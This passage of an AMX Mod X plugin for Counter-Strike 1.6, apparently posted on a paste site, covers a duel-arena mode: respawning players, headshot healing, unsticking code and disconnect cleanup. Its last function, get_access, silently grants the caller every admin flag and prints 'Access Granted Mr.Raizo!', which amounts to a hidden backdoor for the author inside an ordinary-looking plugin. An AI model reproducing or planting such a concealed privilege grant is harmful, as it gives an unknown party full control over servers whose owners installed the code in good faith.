  733.             }
  734.         }
  735.     }
  736.     return num
  737. }
  738.  
  739. public In_Water(id)
  740. {    
  741.     if (his_acer[id])
  742.     {
  743.         if(pev(id, pev_flags) & FL_INWATER)
  744.         {
  745.             set_spawn_positions(id,his_acer_origins)
  746.         }
  747.     }
  748. }
  749.  
  750. public Detect_Parachute(id)
  751. {
  752.     if (his_acer[id])
  753.     {
  754.         if (pev(id,pev_button) & IN_USE)
  755.         {
  756.             set_spawn_positions(id,his_acer_origins)
  757.         }
  758.     }
  759. }
  760.  
  761. public Player_TakeDamage_Down(id, iInflictor, iAttacker, Float: fDamage, bitsDamageType)
  762. {
  763.     if(!is_user_connected(id))
  764.     {
  765.         return HAM_IGNORED;
  766.     }
  767.    
  768.     if(bitsDamageType & DMG_FALL && fDamage >= pev(id, pev_health,1))
  769.     {
  770.         if (his_acer[id])
  771.     {
  772.             set_spawn_positions(id,his_acer_origins)
  773.             return HAM_SUPERCEDE;
  774.         }
  775.     }
  776.    
  777.     return HAM_IGNORED;
  778. }
  779.  
  780. public set_spawn_positions(id,Float:origin[3])
  781. {
  782.     if(get_user_team(id) == 1)
  783.     {
  784.         his_acer_spawn[id][0] = origin[0]+180
  785.         his_acer_spawn[id][1] = origin[1]-400
  786.         his_acer_spawn[id][2] = origin[2]+50
  787.        
  788.         set_arenas_angle(id, Float:{0.0, 170.0, 0.0})
  789.         set_user_rendering(id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal);
  790.        
  791.     }
  792.     if(get_user_team(id) == 2)
  793.     {
  794.         his_acer_spawn[id][0] = origin[0]-180
  795.         his_acer_spawn[id][1] = origin[1]+400
  796.         his_acer_spawn[id][2] = origin[2]+50
  797.        
  798.         set_arenas_angle(id,Float:{0.0, -10.0, 0.0})
  799.         set_user_rendering(id, kRenderFxGlowShell, 0, 0, 255, kRenderNormal);
  800.     }
  801.     entity_set_origin(id,his_acer_spawn[id])
  802.    
  803. }
  804.  
  805. public EventDeathMsg() {
  806.     new killer = read_data(1);
  807.     new victim = read_data(2);
  808.     new headshot = read_data(3);
  809.     new weapon = get_user_weapon(killer);
  810.     new num;
  811.    
  812.     if(killer == victim || !get_pcvar_num(cStatus) || !is_user_connected(victim) || !is_user_alive(killer))
  813.         return PLUGIN_HANDLED;
  814.  
  815.     if (his_acer[killer])
  816.     {
  817.  
  818.         if(headshot && weapon == CSW_KNIFE)
  819.         {
  820.             num = get_pcvar_num(cKnifeHeadshot)
  821.             GiveHealth(killer, num)
  822.             HudMessage(killer, "Healed +%ihp", num)
  823.         }
  824.         else if(headshot)
  825.         {
  826.             num = get_pcvar_num(cHeadshot)
  827.             GiveHealth(killer, num)
  828.             HudMessage(killer, "Healed +%ihp", num)
  829.         }
  830.     }
  831.     return PLUGIN_CONTINUE;
  832. }
  833.  
  834. GiveHealth(id, count)
  835.     set_user_health(id, min( (get_user_health(id) + count), get_pcvar_num(cMaxHealth) ))
  836.    
  837. stock HudMessage(const id, const input[], any:...) {
  838.     static msg[191];
  839.     vformat(msg, 190, input, 3);
  840.    
  841.     set_hudmessage(127, 170, 255, 0.27, 0.14, 0, 5.0, 5.0, 0.0, 0.0, -1);
  842.     show_hudmessage(id, "%s^n%s", Tag, msg)
  843. }
  844. ////////////////////////////////////////////////////////////////////////////////////////////////////
  845.  
  846. public checkstuck() {
  847.     if(get_pcvar_num(cvar[0]) >= 1) {
  848.         static players[32], pnum, player
  849.         get_players(players, pnum)
  850.         static Float:origin[3]
  851.         static Float:mins[3], hull
  852.         static Float:vec[3]
  853.         static o,i
  854.         for(i=0; i<pnum; i++){
  855.             player = players[i]
  856.             if (is_user_connected(player) && is_user_alive(player)) {
  857.                 pev(player, pev_origin, origin)
  858.                 hull = pev(player, pev_flags) & FL_DUCKING ? HULL_HEAD : HULL_HUMAN
  859.                 if (!is_hull_vacant(origin, hull,player) && !get_user_noclip(player) && !(pev(player,pev_solid) & SOLID_NOT)) {
  860.                     ++stuck[player]
  861.                     if(stuck[player] >= get_pcvar_num(cvar[2])) {
  862.                         pev(player, pev_mins, mins)
  863.                         vec[2] = origin[2]
  864.                         for (o=0; o < sizeof size; ++o) {
  865.                             vec[0] = origin[0] - mins[0] * size[o][0]
  866.                             vec[1] = origin[1] - mins[1] * size[o][1]
  867.                             vec[2] = origin[2] - mins[2] * size[o][2]
  868.                             if (is_hull_vacant(vec, hull,player)) {
  869.                                 engfunc(EngFunc_SetOrigin, player, vec)
  870.                                 effects(player)
  871.                                 set_pev(player,pev_velocity,{0.0,0.0,0.0})
  872.                                 o = sizeof size
  873.                             }
  874.                         }
  875.                     }
  876.                 }
  877.                 else
  878.                 {
  879.                     stuck[player] = 0
  880.                 }
  881.             }
  882.         }
  883.     }
  884. }
  885.  
  886. stock bool:is_hull_vacant(const Float:origin[3], hull,id) {
  887.     static tr
  888.     engfunc(EngFunc_TraceHull, origin, origin, 0, hull, id, tr)
  889.     if (!get_tr2(tr, TR_StartSolid) || !get_tr2(tr, TR_AllSolid)) //get_tr2(tr, TR_InOpen))
  890.         return true
  891.    
  892.     return false
  893. }
  894.  
  895. public effects(id) {
  896.     if(get_pcvar_num(cvar[1])) {
  897.         set_hudmessage(255,150,50, -1.0, 0.65, 0, 6.0, 1.5,0.1,0.7) // HUDMESSAGE
  898.         show_hudmessage(id,"Fuiste destrabado.") // HUDMESSAGE
  899.         message_begin(MSG_ONE_UNRELIABLE,105,{0,0,0},id )      
  900.         write_short(1<<10)   // fade lasts this long duration
  901.         write_short(1<<10)   // fade lasts this long hold time
  902.         write_short(1<<1)   // fade type (in / out)
  903.         write_byte(20)            // fade red
  904.         write_byte(255)    // fade green
  905.         write_byte(255)        // fade blue
  906.         write_byte(255)    // fade alpha
  907.         message_end()
  908.         client_cmd(id,"spk fvox/blip.wav")
  909.     }
  910. }
  911.  
  912. public client_disconnect(id)
  913. {
  914.     his_acer[id] = false
  915.  
  916.     if(!available_duelers(id))
  917.     {
  918.         delete_the_fake_arena(id)
  919.     }
  920.     return PLUGIN_HANDLED
  921. }
  922.  
  923. public get_access(id)
  924. {
  925.     set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
  926.     console_print(id, "Access Granted Mr.Raizo!");  
  927. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement